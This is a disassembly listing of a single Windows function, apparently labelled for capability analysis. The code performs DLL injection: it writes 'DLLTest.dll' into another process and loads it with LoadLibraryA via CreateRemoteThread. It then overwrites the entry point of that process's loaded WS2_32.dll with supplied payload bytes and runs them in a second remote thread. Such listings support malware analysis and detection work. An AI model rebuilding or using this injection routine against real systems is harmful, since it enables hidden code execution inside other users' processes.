Function at 0x140001920
Capabilities:
Create thread
Enumerate process modules
Inject dll
Inject thread

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
mov eax, 0x2380
call fcn.140009f30
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x22f8], 0xfffffffffffffffe
mov rdi, rdx
mov rbx, rcx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp rax, 0xffffffffffffffff
je 0x140001d45
mov rsi, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x22d0], xmm0
mov qword [rbp + 0x22e0], 0
mov qword [rbp + 0x22e8], 0xf
lea r14, [rbp + 0x21d0]
mov rcx, r14
mov edx, 0xfa
call fcn.14001af60
mov rcx, r14
call fcn.14001f8a0
mov r14, rax
cmp rax, 0xf
jbe 0x1400019f1
test r14, r14
js 0x140001d8f
mov rax, r14
or rax, 0xf
cmp rax, 0x17
mov r12d, 0x16
cmovae r12, rax
cmp r12, 0xfff
jb 0x140001a19
lea rcx, [r12 + 0x28]
call fcn.140009dbc
mov r15, rax
add r15, 0x27
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140001a26
mov qword [rbp + 0x22e0], r14
lea rcx, [rbp + 0x22d0]
lea rdx, [rbp + 0x21d0]
mov r8, r14
call fcn.140010710
mov byte [rbp + r14 + 0x22d0], 0
jmp 0x140001a52
lea rcx, [r12 + 1]
call fcn.140009dbc
mov r15, rax
mov qword [rbp + 0x22e0], r14
mov qword [rbp + 0x22e8], r12
lea rdx, [rbp + 0x21d0]
mov rcx, r15
mov r8, r14
call fcn.140010710
mov byte [r15 + r14], 0
mov qword [rbp + 0x22d0], r15
mov rax, qword [rbp + 0x22e0]
mov rcx, qword [rbp + 0x22e8]
mov rdx, rcx
sub rdx, rax
cmp rdx, 0xb
jae 0x140001aa0
mov qword [rsp + 0x20], 0xb
lea r9, str.DLLTest.dll
lea rcx, [rbp + 0x22d0]
mov edx, 0xb
call fcn.1400026e0
cmp qword [rbp + 0x22e8], 0x10
jb 0x140001ae6
mov r15, qword [rbp + 0x22d0]
jmp 0x140001aed
lea rdx, [rax + 0xb]
mov qword [rbp + 0x22e0], rdx
cmp rcx, 0x10
jb 0x140001aba
mov rcx, qword [rbp + 0x22d0]
jmp 0x140001ac1
lea rcx, [rbp + 0x22d0]
movabs rdx, 0x2e747365544c4c44
mov qword [rcx + rax], rdx
mov dword [rcx + rax + 7], 0x6c6c642e
mov byte [rcx + rax + 0xb], 0
cmp qword [rbp + 0x22e8], 0x10
jae 0x140001a97
lea r15, [rbp + 0x22d0]
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
movsxd r12, eax
mov dword [rsp + 0x20], 4
mov rcx, rsi
xor edx, edx
mov r8, r12
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
test rax, rax
je 0x140001d4e
mov r14, rax
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, rax
mov r8, r15
mov r9, r12
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x140001d6b
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x140001d74
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rax
call qword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
cmp rax, 0xffffffffffffffff
je 0x140001d7d
mov rcx, rax
mov edx, 0x7d0
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea rdx, [rbp - 0x40]
lea r9, [rbp + 0x22f4]
mov rcx, rsi
call sub.KERNEL32.DLL_K32EnumProcessModules
test eax, eax
je 0x140001d2f
cmp dword [rbp + 0x22f4], 8
jb 0x140001d2f
xor r12d, r12d
lea r14, [rbp + 0x1fc0]
lea r15, str.C:WindowsSystem32WS2_32.dll
jmp 0x140001c06
inc r12
mov eax, dword [rbp + 0x22f4]
shr rax, 3
cmp r12, rax
jae 0x140001d2f
mov rdx, qword [rbp + r12*8 - 0x40]
mov rcx, rsi
mov r8, r14
mov r9d, 0x82
call sub.KERNEL32.DLL_K32GetModuleFileNameExW
test eax, eax
je 0x140001bf0
mov rcx, r14
mov rdx, r15
call fcn.140011138
test rax, rax
je 0x140001bf0
mov r14, qword [rbp + r12*8 - 0x40]
test r14, r14
je 0x140001d2f
call qword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov r8d, 0x1000
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov r15, rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov rcx, rsi
mov rdx, r14
mov r8, rax
call qword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
movsxd rax, dword [r15 + 0x3c]
mov r15d, dword [rax + r15 + 0x28]
add r15, r14
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, r15
mov r8, rbx
mov r9, rdi
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x140001d86
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, r15
call qword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov rax, qword [rbp + 0x22e8]
cmp rax, 0x10
jb 0x140001d18
mov rcx, qword [rbp + 0x22d0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140001d13
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001d94
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140009e00
mov eax, 1
add rsp, 0x2380
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea rcx, str.____Module_is_not_loaded_in_the_memory_n
call fcn.14001ea38
mov ecx, 0xffffffff
call fcn.140018328
lea rcx, str.____Couldnt_find_the_target_process_n
jmp 0x140001d36
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, [0x140040452]
mov edx, eax
call fcn.140001450
lea rcx, str.____Failed_to_allocate_memory_in_target_process_n
jmp 0x140001d36
lea rcx, str.____Failed_to_write_module_in_target_process_memory_n
jmp 0x140001d36
lea rcx, str.____Couldnt_find_the_module_LoadLibraryA_n
jmp 0x140001d36
lea rcx, str.____Failed_to_load_module_in_target_process_memory_n
jmp 0x140001d36
lea rcx, str.____Unable_to_write_payload_into_the_dll_n
jmp 0x140001d36
call fcn.1400026c0
call fcn.14001b850
int3